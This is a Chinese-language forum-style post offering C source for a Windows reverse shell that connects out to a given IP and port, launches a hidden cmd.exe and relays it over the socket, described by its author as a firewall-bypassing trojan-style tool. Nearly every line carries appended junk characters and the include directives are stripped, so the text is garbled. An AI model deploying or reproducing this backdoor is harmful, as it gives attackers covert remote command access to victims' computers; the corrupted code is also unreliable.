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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ywj'O e41  
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/* ============================== 0GQKM~|H  
Rebound port in Windows NT _sQhDi  
By wind,2006/7 or(P?Ro  
===============================*/ -HRa6  
#include Q zY5S0  
#include @%8$k[  
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#pragma comment(lib,"wsock32.lib") eC_i]q&o|  
cA~bH 6  
void OutputShell(); FAq9G-\B  
SOCKET sClient; 2+yti,s+/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :Aj[#4-=   
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void main(int argc,char **argv) |eksvO'~  
{ \"P$*y4Le  
WSADATA stWsaData; :ay`Id_tm  
int nRet; ]?_V+F  
SOCKADDR_IN stSaiClient,stSaiServer; Ue=1NnRDkA  
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if(argc != 3) L$?YbQo7  
{ A~;+P  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2>)::9e4  
return; P}vk5o'  
} Ki(0s  
8Rnq &8A  
WSAStartup(MAKEWORD(2,2),&stWsaData); QEP|%$:i  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k)agbx  
C#. 27ah  
stSaiClient.sin_family = AF_INET; G4%dah 5  
stSaiClient.sin_port = htons(0); A`V:r2hnb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~n%]u! 6  
Q 822 #  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4{%-r[C9k  
{ $ Zj3#l:rK  
printf("Bind Socket Failed!\n"); @eP(j@(^  
return; 8aVj@x$'  
} Z& bIjp  
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stSaiServer.sin_family = AF_INET; 9 xFX"_J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AbB+<0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0QBK(_O`  
^39 ?@xc@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G%T<wKD<  
{ Bpv"qU7  
printf("Connect Error!"); gH0Rd WX  
return; _8wT4|z5  
} .K+5k`kd  
OutputShell(); *rC%nmJwk!  
} 7=HpEc  
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void OutputShell() FLQ^J3A,I  
{ _r`(P#Hy  
char szBuff[1024]; dZ Ab' :  
SECURITY_ATTRIBUTES stSecurityAttributes; W7w*VD|  
OSVERSIONINFO stOsversionInfo; _ 3{8Zg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r|3<UR%  
STARTUPINFO stStartupInfo; 3u'@anre  
char *szShell; F 7X ] h  
PROCESS_INFORMATION stProcessInformation; 9Yji34eDZ  
unsigned long lBytesRead; k"+/DK,:  
?$=Ml$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h4c4!S  
@e+qe9A|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8|Wl|@1(  
stSecurityAttributes.lpSecurityDescriptor = 0; $HAwd6NI  
stSecurityAttributes.bInheritHandle = TRUE; tY60~@YO&  
aL/7xa  
6G:7r [  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;JX2ebx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P?zL`czWd  
VW:Voc  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >| hqt8lY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Agwl2AM5k  
stStartupInfo.wShowWindow = SW_HIDE; C+0BV~7J<<  
stStartupInfo.hStdInput = hReadPipe; gh% Q9Ni-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vZIx>  
:~~\{fm  
GetVersionEx(&stOsversionInfo); =9A!5  
4qyPjAG  
switch(stOsversionInfo.dwPlatformId) GX N:=  
{ Z )X(  
case 1: >n5Kz]]%  
szShell = "command.com"; l'?(4 N  
break; , 1il&  
default: ) Hqn  
szShell = "cmd.exe"; 1+Bj` ACP  
break; YGZa##i  
} !uhh_3RH  
&izk$~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8zpTCae^=7  
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send(sClient,szMsg,77,0); [-1Yyy1}  
while(1) ]F4|@+\9  
{ Y~U WUF%aK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nW]T-!  
if(lBytesRead) ?d)FYB  
{ ]u%Y8kBe  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wfM|3GS+.  
send(sClient,szBuff,lBytesRead,0); dEfP272M  
} [UB]vPXm$  
else M"8?XD%  
{ / 16 r_l  
lBytesRead=recv(sClient,szBuff,1024,0); cFoeyI#v  
if(lBytesRead<=0) break; bJL,pe+u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /%P,y+<}iG  
} \m+;^_;5GW  
} "=UhTE  
f1I/aRV:+  
return; da$ErN '{  
}
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